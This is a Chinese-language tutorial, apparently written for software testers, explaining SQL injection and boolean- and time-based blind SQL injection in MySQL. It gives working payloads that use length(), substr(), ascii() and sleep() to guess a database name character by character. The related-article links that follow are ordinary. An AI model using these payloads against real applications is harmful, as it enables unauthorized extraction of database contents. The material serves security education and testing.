史上最详细的SQL盲注入门教程

news2024/11/26 3:26:26

测试同学在做安全测试时,相信多少都会遇到SQL注入与盲注的漏洞,那么今天我们就来分享下SQL注入与盲注的相关知识,希望对大家有所启发。

一、SQL盲注的定义

SQL注入,简单理解,也就是将用户输的的内容当代码执行了,应用程序没有对用户输入的内容进行判断和过滤,攻击者通过将构造的恶意SQL语句作为查询参数,使其在后台服务器上解析执行,最终导致数据库信息被篡改或泄露,这个过程就成为SQL注入。

盲注,其实是SQL注入的一种, 攻击者在没有获得任何错误回显消息的情况下,通过使用一系列的布尔型或时间型查询,逐渐推断出数据库中的敏感信息。 简单理解下,盲注的表现就是,同一个接口,同一个参数,传不符合常规的值,理论上返回的结果都是一样的,实际上却返回了两个不同的结果。

举个例子,一个查询列表,在搜索框输入学生id,就会显示该学生信息,程序执行的SQL就是SELECT name,age FROM users WHERE user_id = '$id';

正常情况下,用户输入用户名id,就能查到用户信息,但是如果攻击者输入的内容是:666' or '1'='1,那么查询的SQL语句就变成SELECT name,age FROM users WHERE user_id = '666' or '1'='1',由于1=1恒成立,就会执行SQL,执行后,就会返回所有的学生信息,有回显信息,这就是典型的SQL注入的例子。

如果执行SQL后,应用程序不显示任何具体的数据,可能只是告诉我们查询成功或者查询失败,或者什么都不说,没有回显,但是SQL还是执行了,SQL注入发生了,这就是盲注的典型例子。

二、SQL盲注基础分类

盲注主要包含两类:基于布尔类型的盲注和基于时间类型的盲注。

1、布尔盲注

布尔盲注:进行SQL注入之后,根据页面返回的True或者是False,来得到数据库中的相关信息

2、时间盲注

时间盲注:无论输入什么值,只会回显一个界面,通过加入特定的时间函数,查看页面返回的时间差来判断注入的语句是否正确。

一般情况下,可以进行布尔盲注的地方也可以进行时间盲注,但是,可以进行时间盲注的地方不一定可以进行时间盲注,而且时间盲注适用的范围更广,布尔盲注的稳定性更好,但因为时间盲注的实现原理是基于timeout的,稳定性与效率不如布尔注入。在盲注测试时,通常先测试是否可以布尔盲注,若不行再尝试时间盲注。

三、SQL盲注常用函数

1、length()函数

返回字符串的长度

2、substr()截取

截取字符串,语法:SUBSTR(str,pos,len),从str中截取,从pos开始的位置,截取len个字符(空白也算字符)

3、ascii()

返回字符的ascii码

4、sleep()

将程序挂起一段时间

5、if(expr1,expr2,expr3)

判断语句,如果第一个语句正确,就执行第二个语句,如果错误,就执行第三个语句

四、SQL盲注实例剖析

(一)长度判断原理

以MySQL的length()函数为例,判断返回结果的长度是多少,我们想要判断数据库库名的长度是多少,在输入框可以输入:?id=1' and length( database() )=1 -- a

执行的流程是:

1、原始SQL

SELECT name,age FROM users WHERE user_id = '$id';

2、用户输入参数

1' and length( database() )=1--+

3、拼接参数后,在后台执行SQL

SELECT name,age FROM users WHERE user_id = '1' and length( database() )=1--+';

--表示注释符号

4、length( database() )=1结果为false

SELECT name,age FROM users WHERE user_id = '1' and length( database() )=1--+';

即SELECT name,age FROM users WHERE user_id = '1' and false --+';

5、查询结果为空

6、依次猜测长度

将输入变为:?id=1' and length( database() )=2 -- +

将输入变为:?id=1' and length( database() )=3 -- +

...

执行的SQL为:SELECT name,age FROM users WHERE user_id = '1' and length( database() )=2--+';

执行的SQL为:SELECT name,age FROM users WHERE user_id = '1' and length( database() )=3--+';

...

7、当执行结果显示为正常时

例如长度为6时,返回了正常结果,也就是执行的SQL为:

SELECT name,age FROM users WHERE user_id = '1' and length( database() )=6--+';

即SELECT name,age FROM users WHERE user_id = '1' and true --+';

8、猜测成功

数据库的长度就是6了

(二)穷举字符原理

如果想要猜测数据库名称,就得用到MySQL的substr()函数,将截取到的字符,使用ascii()函数转换成ASCLL码,依次判断。

每一个字符有95种可能性,包括大小写字母和特殊字符,对应的ASCLL码在32~126之间。

接着上面的例子,我们已经猜测除了数据库名的长度,接着猜测数据库名字,猜测流程如下:

1、输入框输入:1' and ascii( substr(database(),1,1) )=32--+

2、原始SQL:SELECT name,age FROM users WHERE user_id = '$id';

3、拼接参数后,在后台执行SQL

SELECT name,age FROM users WHERE user_id = '1' and ascii( substr(database(),1,1) )=32--+';

--表示注释符号

substr(database(),1,1)表示数据库名的第一个字母

ascii( substr(database(),1,1) )=32表示数据库的第一个字母是空格,空格的ascii码值是32

4、查询结果为空

由于ascii( substr(database(),1,1) )=32结果为false

SELECT name,age FROM users WHERE user_id = '1' and false

所以结果为空

5、依次猜测结果

将输入变为:1' and ascii( substr(database(),1,1) )=33--+

将输入变为:1' and ascii( substr(database(),1,1) )=34--+

...

执行的SQL为:SELECT name,age FROM users WHERE user_id = '1' and ascii( substr(database(),1,1) )=33--+';

执行的SQL为:SELECT name,age FROM users WHERE user_id = '1' and ascii( substr(database(),1,1) )=34--+';

...

6、当执行结果为正常时

例如,ascii码值是65时,返回了正常结果,也就是执行的SQL为:

SELECT name,age FROM users WHERE user_id = '1' and ascii( substr(database(),1,1) )=65--+';

即SELECT name,age FROM users WHERE user_id = '1' and true --+';

7、猜测成功

数据库名的第一个字母就是A了

(三)时间盲注原理

判断如果数据库的长度猜测正确了,则时间延迟5s

1、输入框输入:1' and if(length( database() )=1,sleep(5),1)--+

2、原始SQL:SELECT name,age FROM users WHERE user_id = '$id';

3、拼接参数后,在后台执行SQL

SELECT name,age FROM users WHERE user_id = '1' and if(length( database() )=1,sleep(5),1)--+';

--表示注释符号

length( database() )=1表示数据库名的长度是1

if(length( database() )=1,sleep(5),1)表示如果数据库名的长度是1,则延迟5s

4、查询结果为空

由于length( database() )=1结果为false

SELECT name,age FROM users WHERE user_id = '1' and false

所以结果为空

5、依次猜测结果

将输入变为:1' and if(length( database() )=2,sleep(5),1)--+

将输入变为:1' and if(length( database() )=3,sleep(5),1)--+

...

执行的SQL为:SELECT name,age FROM users WHERE user_id = '1' and if(length( database() )=2,sleep(5),1)--+';

执行的SQL为:SELECT name,age FROM users WHERE user_id = '1' and if(length( database() )=3,sleep(5),1)--+';

...

6、当执行结果真正延时5s时

例如,数据库名的长度是6,也就是执行的SQL为:

SELECT name,age FROM users WHERE user_id = '1' and if(length( database() )=6,sleep(5),1)--+';

即SELECT name,age FROM users WHERE user_id = '1' and true --+';

7、猜测成功

数据库名的长度是6

小伙伴们,学废了嘛?(全网同名,转载请注明出处)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/538847.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Docker的使用 (1.安装docker)

安装docker前非常重要的准备工作 请保证你的centos 操作系统为至少为7版本请关闭linux的防火墙虚拟机联网,安装好yum工具 安装docker # 设置docker镜像源 yum-config-manager \--add-repo \https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.reposed…

Aqua 启动管道完整性扫描以检测恶意软件

云原生安全提供商 Aqua Security 已宣布添加管道完整性扫描,以防止软件供应链攻击并确保 CI/CD 管道完整性。 在 eBPF 技术的支持下,Aqua 的管道完整性扫描器实时检测并阻止可疑行为和恶意软件,防止代码篡改并应对软件构建过程中的威胁。 该…

Spring Boot异常处理

目录 Spring Boot异常处理 介绍 拦截器VS 过滤器 自定义异常页面 自定义异常页面 代码实战 需求 代码实现 创建MyErrorController类来模拟异常错误 完成测试 全局异常 说明 全局异常-应用实例 创建GlobalExceptionHandler.java 创建对应的视图地址global.html 完成…

Docker的使用 (1.什么是docker)

前言 这个系列是我自己学习使用docker的记录和分享,作为一名开发人员,你需要了解这个东西并且学会它的简单使用,但是作为一名开发而不是运维,不要花过多的时间去深究它的原理,而是把它当作一个工具即可 docker Docke…

新的RA Group勒索软件针对美国组织进行双重勒索攻击

一个名为“RA Group”的新勒索软件组织针对美国和韩国的制药、保险、财富管理和制造公司。 新的勒索软件行动始于 2023 年 4 月,当时他们在暗网上启动了一个数据泄露站点,以发布受害者的详细信息和被盗数据,采用了大多数勒索软件团伙使用的典…

1.2 Kubernetes架构组件

1.2 Kubernetes架构组件 学习Kubernetes的架构组件,也就是说我们要搭建一个Kubernetes集群里面应该有哪些组成部分,里面具体会有哪些组件。如图 组建一个Kubernetes的集群至少需要包含两个部分,即Master和node,Master即主控节点&…

5月16日|5月17日 6H|时间轴复盘

目录 5月16日 5月17日 5月16日 7:50 起床 7:50-8:25 洗漱到教室吃饭🥚🥚🥛 8:25-8:55 扇贝单词*105 【30min】 8:55- 20:10-21:04 做阅读真题 21:04-21:49 订正答案 糟糕的一天 记忆完全失踪 🆘 5月17日 7:00 起床 7:00-7:30 起床洗漱到教室 7:30-8:00…

1.3 Kubernetes核心概念

1.3 Kubernetes核心概念 在Kubernetes中有三个核心的概念,即Pod、Controller、Service。整个过程可以理解为通过Service统一入口进行访问,由Controller去创建Pod进行部署。 1.3.1 Pod Pod是在Kubernetes中最小的部署单元,如图 Pod的特点 …

免费可用 ChatGPT 网页版

前言 ChatGPT(全名:Chat Generative Pre-trained Transformer),美国OpenAI 研发的聊天机器人程序 ,于2022年11月30日发布 。ChatGPT是人工智能技术驱动的自然语言处理工具,它能够通过理解和学习人类的语言来…

2.5 Java开发环境搭建

2.5 Java开发环境搭建 一、JDK下载与安装 我们主要下载安装JDK8,有些人认为现在已经更新到了JDK12以及更高的版本,无论JDK12、13还是更高的版本,在企业中用的并不是很多,而且每次更新只是增加了一些新特性,我们只需要…

PDF大文件批量去除水印,又一个省心小妙招

PDF大文件批量去除水印,又一个省心小妙招 适用场景:本教程适合批量去除文件量较大的PDF文档内的图片水印。 使用软件:Python; 需安装第三方库:PIL,fitz,pymupdf pip install PIL pip install…

Robot Framework+Jenkins持续集成UI自动化项目

使用Robot Framework框架可进行Web端和APP端的UI自动化测试,为方便定时执行,可将Robot Framework的自动化项目持续集成至Jenkins平台,具体的操作步骤如下: 安装Jenkins的步骤如下: 手把手教小白安装Jenkins_程序员馨馨…

关于对【java中的Lambda表达式】的理解与简述

【版权声明】未经博主同意,谢绝转载!(请尊重原创,博主保留追究权) https://blog.csdn.net/m0_69908381/article/details/130522535 出自【进步*于辰的博客】 坦白说,在我学会如何使用Lambda表达式后&#x…

机器学习笔记:高斯混合模型 GMM

1 高斯混合模型 总体分布是由K个高斯分布的组成的混合分布 1.1 一些记号 xj第j个观测数据K模型中高斯模型的数量αk 观测数据属于第k个子模型的概率 第k个子模型的高斯分布密度函数 (也就是一个高斯分布的密度函数 第j个观测数据属于第k个子模型的概率 1.2 高斯…

Windows环境下安装Redis

下载地址: Releases microsoftarchive/redis GitHub Redis 支持 32 位和 64 位。这个需要根据你系统平台的实际情况选择,这里我们下载 Redis-x64-xxx.zip压缩包到 D 盘redis文件夹下。 网盘下载: 链接:https://pan.baidu.co…

web应用安全漏洞

注入类 数据库注入 SQL注入 结构化查询语言 (Structured Query Language)简称SQL,结构化查询语言是一种数 据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统 关系型数据库 ,是指采用了关系模型来组织数据的数据库&…

STM32(一)准备开发环境CLion+CubeMX

本篇内容 一、CLion和STM32CubeMX基础安装二、安装OpenOCD三、安装交叉编译工具链四、配置CLion并点亮第一个LED灯五、烧录程序六、错误排查 本篇安装配置STM32的开发环境,使用的是稚晖君同款CLionSTM32CubeMX的开发环境 一、CLion和STM32CubeMX基础安装 软件安装只…

Java-API简析_java.lang.Integer类(基于JDK1.8)(浅析源码)

【版权声明】未经博主同意,谢绝转载!(请尊重原创,博主保留追究权) https://blog.csdn.net/m0_69908381/article/details/130730986 出自【进步*于辰的博客】 其实我的【Java-API】专栏内的博文对大家来说意义是不大的。…

Python绘制带误差棒的柱状图渐变色填充含数据标注(进阶)

往期python绘图合集: python绘制简单的折线图 python读取excel中数据并绘制多子图多组图在一张画布上 python绘制带误差棒的柱状图 python绘制多子图并单独显示 python读取excel数据并绘制多y轴图像 python绘制柱状图并美化|不同颜色填充柱子 文章目录 准备数据一、绘制图表二、…

Android RecyclerView实现吸顶动态效果,附详细效果图

文章目录 一、ItemDecoration二、实现RecyclerView吸顶效果1、实现一个简单的RecyclerView2、通过ItemDecoration画分割线3、画出每个分组的组名4、实现吸顶效果 完整demo 链接:https://download.csdn.net/download/JasonXu94/87786702 一、ItemDecoration [外链图片转存失败…